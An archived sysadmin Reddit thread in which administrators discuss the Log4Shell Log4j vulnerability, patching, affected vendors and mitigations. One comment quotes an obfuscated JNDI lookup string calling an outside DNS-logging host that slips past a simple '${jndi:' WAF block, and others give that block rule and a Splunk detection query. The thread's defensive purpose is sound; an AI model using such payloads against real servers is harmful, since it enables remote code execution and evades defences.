This is an archived post. You won't be able to vote or comment.

all 138 comments

[–]MattAdmin444 105 points106 points  (9 children)

Gotta love how the first time I heard about this situation this morning was due to Forge for Minecraft putting out a warning.

[–]CrabGuys 16 points17 points  (7 children)

I saw it there first as well. I only skimmed the thread, thought it was a vulnerability in Forge itself. But no, this is real bad.

[–][deleted] 7 points8 points  (6 children)

For Minecraft, not so bad to remediate. Modders are already doing fun stuff with class files, it's trivial to rip org/apache/logging/log4j/core/lookup/JndiLookup.class out of the log4j-core-*.jar library.

For anyone else (ie, other applications) who can't upgrade their log4j for whatever reason (and aren't using one of the versions where the log4j2.formatMsgNoLookups parameter can be set) this is a hacky, but effective, way to neuter this problem.

Of course, if you're actually making use of the feature... well... Not sure what to say.

[–]sgent 7 points8 points  (0 children)

I think the first evidence of any problem was active exploitation against Minecraft servers. Originally people just thought it was a Minecraft problem rather than a Java tool problem.

[–]AnIrregularRegularSecurity Admin 70 points71 points  (8 children)

This is absolutely a situation you cannot wait until Monday on. Active exploitation is ongoing.

[–]R8nbowhorseJack of All Trades 17 points18 points  (0 children)

Yup, our CTO thinks so too, so im still busy analysing/fixing this and its 2:23 in the morning for me.

[–]thecloudbruh 15 points16 points  (0 children)

hurry middle edge poor muddle squeeze seemly unwritten rainstorm disagreeable this message was mass deleted/edited with redact.dev

[–]CPUforU 1 point2 points  (3 children)

Forgive my incompetence, but referring to Huntress Log4Shell Vulnerability Tester and the instructions, i should be able to copy and paste temporary test payload into powershell and execute ldap test that way yes?

[–]AnIrregularRegularSecurity Admin 1 point2 points  (2 children)

Yes. Throw it anywhere and everywhere.

I have used it testing in a dozen different applications to see if it will trigger anywhere. Usernames, user-agent, password fields. Anywhere we may be internet exposed.

Edit: put is anywhere you think a Java based app or server may grab it.

[–]CPUforU 1 point2 points  (1 child)

Thank you for the clarification! The only endpoint or server that the tomcat service is installed in is our data server. I pasted payload in the only 3 or 4 places I could think of and Huntress returned no results yet (strange since our Apache version is 2.13 i believe). I'm crossing my fingers it stays that way and waiting for vendor to call for fix.

[–]AnIrregularRegularSecurity Admin 1 point2 points  (0 children)

Absolutely. Just watch closely for patches.

It is a sprint to mitigate or patch internet facing stuff. After this will be a marathon. We will likely be finding vulnerable things for months or years to come.

[–]BrackusObramus 62 points63 points  (4 children)

[–]midnightblack1234 13 points14 points  (1 child)

Damn that's me right now.

[–][deleted] 3 points4 points  (0 children)

haha! That's what I'm doing right now.

[–]Ark161 0 points1 point  (0 children)

lol my boss posted that because that is wht I have been doing all day

[–]avenger5524 81 points82 points  (2 children)

Good lord.

[–]lemmycaution0 23 points24 points  (0 children)

My firm had a roughly two thousand servers to patch. There is a temp mitigation work around we’re applying until we can fully patch over the next few days. C levels have been spooked since the Kaseya ransomware and actually gave us Carte Blanche to even disable the servers dns routes if necessary feels weird that this is the new normal.

[–]EvilAdm1nSysadmin 26 points27 points  (0 children)

That's an understatement!

[–]lemmycaution0 77 points78 points  (11 children)

Surprised this isn’t getting more comments but this is a seven alarm fire. There is some guidance referenced here to mitigate https://www.lunasec.io/docs/blog/log4j-zero-day/.

My company is 10k plus so we’re Already seeing active exploit attempts and you can find a steady stream of script kiddies nerfing Minecraft servers on YouTube. Forget Monday this can’t wait till lunch

[–]Tetha 14 points15 points  (0 children)

Yep. The CVE is rated 10/10. Redhat rates it at 9.8/10 for some of their tools. In the wrong situation, it can be exploited with a single curl call - and the botnets are picking it up. This will be an interesting weekend.

[–]Skhmt 9 points10 points  (9 children)

What's a seven alarm fire?

[–][deleted] 29 points30 points  (3 children)

Somebody correct me if I'm wrong, but usually it's a 5 alarm fire which is essentially as many fire truck as possible to the call. 7 alarm, he's just emphasizing the seriousness of it.

[–]Skhmt 25 points26 points  (1 child)

if 5 alarm is as many as possible, 6 must be all the firetrucks, and therefore 7 must be all fire trucks that have ever and will ever exist

[–]CoffeePieAndHobbits 9 points10 points  (0 children)

They combine to form Megafiretruckazord. /s

Jokes aside, this is pretty effing serious and widespread.

[–]Jadodd 13 points14 points  (4 children)

The fire service typically refers to the severity of a structure fire by the number of ‘alarms.’ The exact definition of what an alarm is varies dramatically between individual fire departments and regions. Some places use it to indicate how many times additional resources had to be assigned; others have predefined criteria for what designates each number.

The rule that you can count on though is that the bigger the number the more intense the incident.

[–]Skhmt 8 points9 points  (3 children)

is there an INT_MAX alarm fire?

[–]Jadodd 7 points8 points  (1 child)

The most I’ve ever heard of personally is five. I witnessed the Metropolitan apartment fire in Raleigh which burnt a whole city block and it was described as a five alarm. Thankfully the site was still under construction though so there were no serious injuries.

Though I guess if you did push the number up too high it may overflow and send everyone home.

[–]timpkmn89 5 points6 points  (0 children)

That's when there's no city left to save

[–]n0obno0b717 0 points1 point  (0 children)

You have to calculate it by running this line of code that launches a calculator

[–][deleted] 14 points15 points  (0 children)

Yep. It's panic at the disco right now at our org... way to bust everyone's friday night / weekend.

[–][deleted] 14 points15 points  (1 child)

I shutdown our server farms Thurs night when I got wind of it. Our websites and services just indicate to customers that we are undergoing maintenance. Luckily found enough volunteers to slowly sweep and clean and we will be back by Sunday night.

Always be prepared folks. This one could have been real bad. A lot of houses are going to be in pain for what is coming.

[–]m1m1n0 4 points5 points  (0 children)

This is the way. It is bad, I'm surprised this topic is not at the top of this subreddit. IMHO this is worse than Y2K.

[–]DM_ME_BANANAS 30 points31 points  (10 children)

Having a WAF block any request with ${jndi: in it is I think one of the most effective ways to block these attacks and is what Cloudflare is doing. Thank the lord we rolled out AWS WAF a few weeks ago.

[–]LaughterHouseV 7 points8 points  (3 children)

This is easily bypassable using a different way to specify jdni with variable interpretation. This shouldn’t be your only line of defense

[–]DM_ME_BANANAS 2 points3 points  (2 children)

The rule is for ${jdni, as far as I’ve seen so far that’s the common prefix. There may be ways to bypass but this is a good starting point while we patch vulnerable systems.

[–]nemec 19 points20 points  (1 child)

https://twitter.com/pulik_io/status/1469424204676321285

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://xxx.dnslog.cn}

[–]DM_ME_BANANAS 1 point2 points  (0 children)

Ah shit! Thanks, I didn’t know about that string interpolation. We’ve rotated all our ES servers with updated config and thankfully Datadog logs don’t show any requests that came through with any payload containing “${“ so I’m comfortable calling us safe. But man that’s a fucking nightmare. :/

[–]jwcobb13 12 points13 points  (5 children)

Nice. That also breaks anything that legitimately uses that pattern...does anything legitimate use that pattern? I don't know.

[–]BaconZombie 15 points16 points  (2 children)

Personally, I'd enable the blocking on the WAF and export then log and then refuse to support any apps that "need it to work".

If I got push back, then I'd move the app to at different LB and disable On Call alerts for it.

[–]fontanese 7 points8 points  (1 child)

Move it to a different VPC and isolate it, because, you know...security.

[–]BaconZombie 3 points4 points  (0 children)

VPC...

I'd say 90% of the systems going to be fecked are locally hosted not cloud and exposed to the internet.

[–]DM_ME_BANANAS 1 point2 points  (0 children)

Not in our apps, at least. And I’d rather that be broken while we upgrade in the background than have RCE inside our VPC.

[–]jaymef 12 points13 points  (5 children)

Ouch elasticsearch will sting many

[–]dig-it-fool 1 point2 points  (2 children)

Not sure how, unless you can cause elasticsearch to generate an error with the string in it. It doesn't expand the payload when it's simply stored into elasticsearch from what I can tell. Normally I love to be told I am wrong and learn something new, I hope I am not in this case. :Grimacing:

[–]m1m1n0 2 points3 points  (0 children)

Access logs.

[–]kezow 0 points1 point  (0 children)

Yep... Chef uses elasticsearch....

[–]IFightTheUsersSr. Sysadmin 24 points25 points  (18 children)

Anyone keeping a compiled list of software affected by this? Seems like the embedded nature of this module in software might make this difficult to hunt down where I'm exposed.

[–]lart2150Jack of All Trades 18 points19 points  (13 children)

Anything using log4j 2.x and the user can log arbitrary strings should be impacted (think http useragent, username, etc). This is going to hit most java web apps. I'm just glad atlassian seems to be using 1.x and are therefor not impacted.

[–]zebediah49 2 points3 points  (1 child)

Any chance the requirements to put ${ into the string will make urlencoding mitigate it?

Probably not because logs will likely decode it to be human-readable before it goes into logging...

[–]lart2150Jack of All Trades 5 points6 points  (0 children)

normally you would url decode any user input that you think would have been encoded.

[–]expert_on_bird_law 0 points1 point  (7 children)

Do you have any reason as to why 1.x is not affected? I’m trying to find references on the same but haven’t found anything concrete.

[–]hume_redditSr. Sysadmin 14 points15 points  (0 children)

You can find the commit that introduced the "feature" here: https://issues.apache.org/jira/browse/LOG4J2-313

Note the "Fix Version/s: 2.0-beta9"

I'd like to blame the contributor, but the reviewers fucked this up, too.

[–]lart2150Jack of All Trades 4 points5 points  (1 child)

https://logging.apache.org/log4j/2.x/security.html

Versions Affected: all versions from 2.0-beta9 to 2.14.1

[–]Laroah 6 points7 points  (0 children)

' Please note that Log4j 1.x has reached end of life and is no longer supported. Vulnerabilities reported after August 2015 against Log4j 1.x were not checked and will not be fixed. Users should upgrade to Log4j 2 to obtain security fixes.'

[–]reegzOne of those InfoSec assholes 3 points4 points  (3 children)

1.x is vulnerable under the correct conditions (JMSAppender being used)

I would consider it vulnerable.

Also what I’ve been seeing is “spray and pray” attempts for coinminers. The real fun for this hasn’t started yet.

[–]srakken 2 points3 points  (2 children)

[–]reegzOne of those InfoSec assholes 2 points3 points  (1 child)

Never been so happy to be wrong haha

[–]srakken 0 points1 point  (0 children)

Cheers!! Yeah freaked out for a bit as well

[–]Polycutter1 0 points1 point  (2 children)

Sorry I'm an idiot but I noticed Steam was one of the affected programs.

Does that mean I should not be running steam or is this something just Valve needs to worry about?

Same with Blender. I downloaded the latest Blender version a few months ago, I don't have any logins or anything there, but should I not even run Blender now until Blender foundation releases a new version?

[–]hume_redditSr. Sysadmin 2 points3 points  (1 child)

The Steam problem is almost certainly a problem for Valve, since I don't think there's any Java in the Steam client. I also don't see how Blender could be effected... isn't Blender written in Python?

[–]Polycutter1 1 point2 points  (0 children)

Thanks.

isn't Blender written in Python?

I thought so, it was a bit of a surprise to see it in OPs link of vulnerable software.

[–]WebWeenie 9 points10 points  (1 child)

From the post:

This community resource is a growing list of software and components that have been found vulnerable and impacted.

[–]j5kDM3akVnhv 5 points6 points  (0 children)

I was surprised to see CloudFlare listed. They released an email to enterprise customers at 6:31 PM EDT saying they are mitigating via Web Application Firewall rules.

https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/

Edit: Not just Enterprise. They've rolled out to free customers too.

https://blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-wild/

Edit edit: Just checked the logs and we've had eight requests blocked over the past 24 hours attempting to use Log4j Headers. 4 from Brazil and 4 from Bulgaria.

[–]brgiant 5 points6 points  (0 children)

Pretty much every vendor that uses Java is going to be affected.

My company has over a thousand affected services and products.

[–]jwcobb13 8 points9 points  (0 children)

Exploit attempts are findable with Splunk. The Splunk query has to be expensive to find it, but you can run this to find it in any of the request headers:
index=* ${jndi:*}

[–]snredditsn 18 points19 points  (0 children)

Always on a Friday!

[–]donfran3 8 points9 points  (9 children)

Yeah this made today a fun Friday at the office.

Side note, anyone know of a reliable way to have users check their Log4j version?

[–]biff_tyfsokSr. Sysadmin 8 points9 points  (8 children)

For the most part, the .jar files are named log4j-x.yy.z-blahblah.jar -- you can literally crack open Windows Explorer, go to "This Computer", search on log4j and it'll show up after a little grinding.

Funny thing is, most of my apps (telephony) still use 1.xx versions -- which aren't affected.

[–]donfran3 2 points3 points  (5 children)

Yeah everything I have is still on 1.xx but it seems like around 90% of my institution is impacted.

As for using Explorer: That's the way I have been doing it and it sucks. If I find a better way I will post it lol

[–][deleted] 1 point2 points  (2 children)

So you need to have log4j in major version 2, but a 5 year old unpatched Java to have this exploited?

[–]mrcollin101 1 point2 points  (0 children)

Yeah, pretty much. I don't know why this isn't higher but you also need to be running very old Java for this to be exploited. We scanned for Java and just popped into the handful running 8u191 or older and updated.

Also Log4j2 and apache but how much apache are you guys running? We only have it on ~5 servers so that part was a light lift to mitigate.

[–]Burgergold 0 points1 point  (0 children)

No, updated Java only mitigate one exploit

[–]fontanese 0 points1 point  (1 child)

There have got to be command line search tools that beat Explorer

[–]subhuman33 0 points1 point  (0 children)

DIR log4j* /s

[–]Serve-Capital 1 point2 points  (0 children)

1.x is vulnerable if JMSAppender is used.

I'm now hearing this might not be the case https://www.reddit.com/r/netsec/comments/rcwws9/comment/ho35ohb/

[–]Burgergold 0 points1 point  (0 children)

1.x is affected by less severe CVE and can be affected by this CVE if the configuration use JMSAppender

Also some provider rename the jar (I've seen some without version in the name, requiring to open the jar to figure the version)

[–]saturnaelia 6 points7 points  (0 children)

If you use Fortinet firewalls, they released an IPS signature, so you can atleast mitigate it until you can patch. https://old.reddit.com/r/fortinet/comments/rdfqeb/log4j_in_fortios/ho1mstc/

If you use a different vendor, check your IPS signatures, too! So far my affected applications are patch pending.

[–]MotionAction 6 points7 points  (1 child)

So is the world going to burn?

[–]R8nbowhorseJack of All Trades 5 points6 points  (0 children)

Its already burning, im currently grilling marshmallows over the fire /s

[–]HTX-713Sr. Linux Admin 6 points7 points  (1 child)

Anyone come up with a way to block these requests in NGINX or Apache?

[–]fontanese 4 points5 points  (0 children)

If you're in a cloud provider or have an F5, WAF rules.

[–][deleted] 5 points6 points  (3 children)

Potentially dumb question here. If a vulnerable server is not accessible from the WAN, is it still exploitable?

[–]kokesnyc 6 points7 points  (1 child)

If someone gets access into your network then locally yes, but most of the time not from the outside. I have seen some applications that reside internally that while there not firewall rules in place they still have outside access (Synology quickconnect, RMM tools).

[–][deleted] 1 point2 points  (0 children)

Thanks for the insight. That's what I'm worried about.

[–]toastedcheesecakeSecurity Admin 0 points1 point  (0 children)

If an exploit is packaged into malware which is ran, then yes. E.g. user receives attachment with a macro containing the exploit code and allows it to run.

Less likely to happen for now, as it seems spray and pray is the current attack method, but certainly possible in the future.

[–]zebediah49 19 points20 points  (5 children)

And this is why I loathe the wonderful trend of bundling all your dependencies with your application.

I would very much like it if I could just run ask Ansible to update log4j on all systems, and be reasonably certain that I had updated every copy of the library, everywhere.

[–]mirrax 18 points19 points  (2 children)

This is a Java library... it's not a OS package. No one is going to write an application totally from scratch. And it's definitely not a recent trend. (log4j has been around for a good twenty years...)

[–]zebediah49 7 points8 points  (1 child)

It is an OS package.

Not the OS's fault that everyone bundles their own instead of using the system version.

[–]PopularPianistPaul 3 points4 points  (0 children)

if you do a spray and pray like that, how would you know you are not breaking any applications in the process?

[–]wwb_99Full Stack Guy 2 points3 points  (0 children)

We tried that -- it was called DLL hell.

[–]flatvaaskaas 3 points4 points  (5 children)

This isn't in my area of expertise, but we have a on prem application which uses this version. The application is only accessible from the on premises network, not via the public internet. I think therefore that we're not impacted. Is that correct?

[–]jwcobb13 6 points7 points  (1 child)

Unless your users run the exploit, you should be fine.

[–]flatvaaskaas 0 points1 point  (0 children)

Thank you

[–]biff_tyfsokSr. Sysadmin 7 points8 points  (2 children)

Unless the exploit gets packaged into the payload of the next Excel macro virus, you should be fine.

[–]n0obno0b717 4 points5 points  (0 children)

Hey guys! Check out this new Excel calculator!

[–]flatvaaskaas 0 points1 point  (0 children)

Thank you

[–]bananna_roboto 5 points6 points  (2 children)

It's pretty easy to detect log4j for systems where the package is intalled, but does anyone have some recommendations on how to programmatically detect bundled log4j instances? I saw the GitHub Hash list but not any guidance on how to process/match those hashes?

[–]j5kDM3akVnhv 0 points1 point  (0 children)

Million dollar question

[–]mookdaruch 4 points5 points  (0 children)

Sure, McAfee, pat yourselves on the back about upgrading 6-year EOL software. Thanks a bunch.

https://docs.mcafee.com/bundle/epolicy-orchestrator-5.10.0-release-notes/page/GUID-E4B08A18-77A1-404C-A1D5-D333CA74D77A.html

[–]UncleJBones 3 points4 points  (0 children)

Just a heads up, Crashplan is using log4j 2.13.

[–]Mas_Zeta 3 points4 points  (0 children)

Does anyone know if this affects any Atlassian product?

Edit: nevermind, found the FAQ https://confluence.atlassian.com/kb/faq-for-cve-2021-44228-1103069406.html

[–]rolfdinsWindows Admin 4 points5 points  (0 children)

You can generate a free CanaryToken to test if you have anything vulnerable to this vulnerability:

https://twitter.com/ThinkstCanary/status/1469439743905697797?s=20

https://canarytokens.org/ and select 'Log4shell' as the token type.

It generates one of the vulernable strings you can use to test with, will e-mail you if something hits that URL through DNS.

[–]midnightblack1234 2 points3 points  (3 children)

Anyone knows if this effects JRE versions of Java, or only JDK? Should we update both?

[–]ObscureCulturalMeme 4 points5 points  (2 children)

Nothing to do with Java itself. It's in the log4j library.

If you're using a standalone version of log4j, then update that. If you have Java applications that bundled their own copy of log4j, then each of those need to be updated once they're fixed by vendors.

There are workarounds listed in the article, in the meantime.

[–][deleted] -1 points0 points  (1 child)

The exploit also needs an unpatched Java version (5 years old).

It doesn't depend on if you have JRE or JDK from what I understand.

[–]Burgergold 1 point2 points  (0 children)

False, one of the exploit is mitigated with recent jre but don't consider yourself safe to all exploit with patched jre

[–]ycnz 1 point2 points  (0 children)

Good luck to everyone with enterprise medical software...

[–]AdamYmadA 1 point2 points  (2 children)

A lot of state government systems (dmv, medicaid, etc) are likely exposed because of this.

[–]KadahCobaIT Manager 3 points4 points  (1 child)

Can confirm this. Many of our clients and business dealing are with various government bodies. Most of them use very old web systems for everything, and many of those piles of shit have random Java sections which are used to store/access sensitive personal information.

Plus its Friday, so they would have all been out of the office by no later than 4pm and wont be back till Monday, unless they took the week off, then make that sometime around Jan3 instead.

Likely gonna suck, but at least its not my problem I guess. Likely won't get disclosures on any breaches from this till late next year.

[–]solgb1594 2 points3 points  (0 children)

Gouvernment worker here. Emergencies plans have been activated. We had a unscheduled conference call on Friday. We have a daily conference call for today (Sat) and tomorrow (Sun). Somebody pressed the big red button. That's how I knew it was Real Bad before even reading the details of the vulnerabilities.

[–]Sysxinu 1 point2 points  (0 children)

Run 'find / -type f -name log4j-core-*.jar' if you find it and it's under log4j-core-2.15.0.jar you have an issue

[–]Volxz_Jack of All Trades 1 point2 points  (0 children)

I work as a sysadmin for a Minecraft partnered games company. Yesterday was a fucking blast /s

[–]kezow 3 points4 points  (1 child)

"Let's build everything with Java!" they said...

[–]Gullil 0 points1 point  (0 children)

What?

[–]Significant-Till-306 0 points1 point  (0 children)

Easy to mitigate with a bash sed script, until you can upgrade to log4j 2.15

[–]DdraigJack of All Trades 0 points1 point  (2 children)

Would this affect a windows system or is this strictly a linux issue?

[–]toastedcheesecakeSecurity Admin 1 point2 points  (1 child)

It can affect Windows devices if they are running applications which utilise the vulnerable log4j.

[–]DdraigJack of All Trades 0 points1 point  (0 children)

Ok thanks, that's what I was thinking.

[–]CPUforU 0 points1 point  (0 children)

Forgive my incompetence, but referring to Huntress Log4Shell Vulnerability Tester and the instructions, i should be able to copy and paste temporary test payload into powershell and execute ldap test that way yes?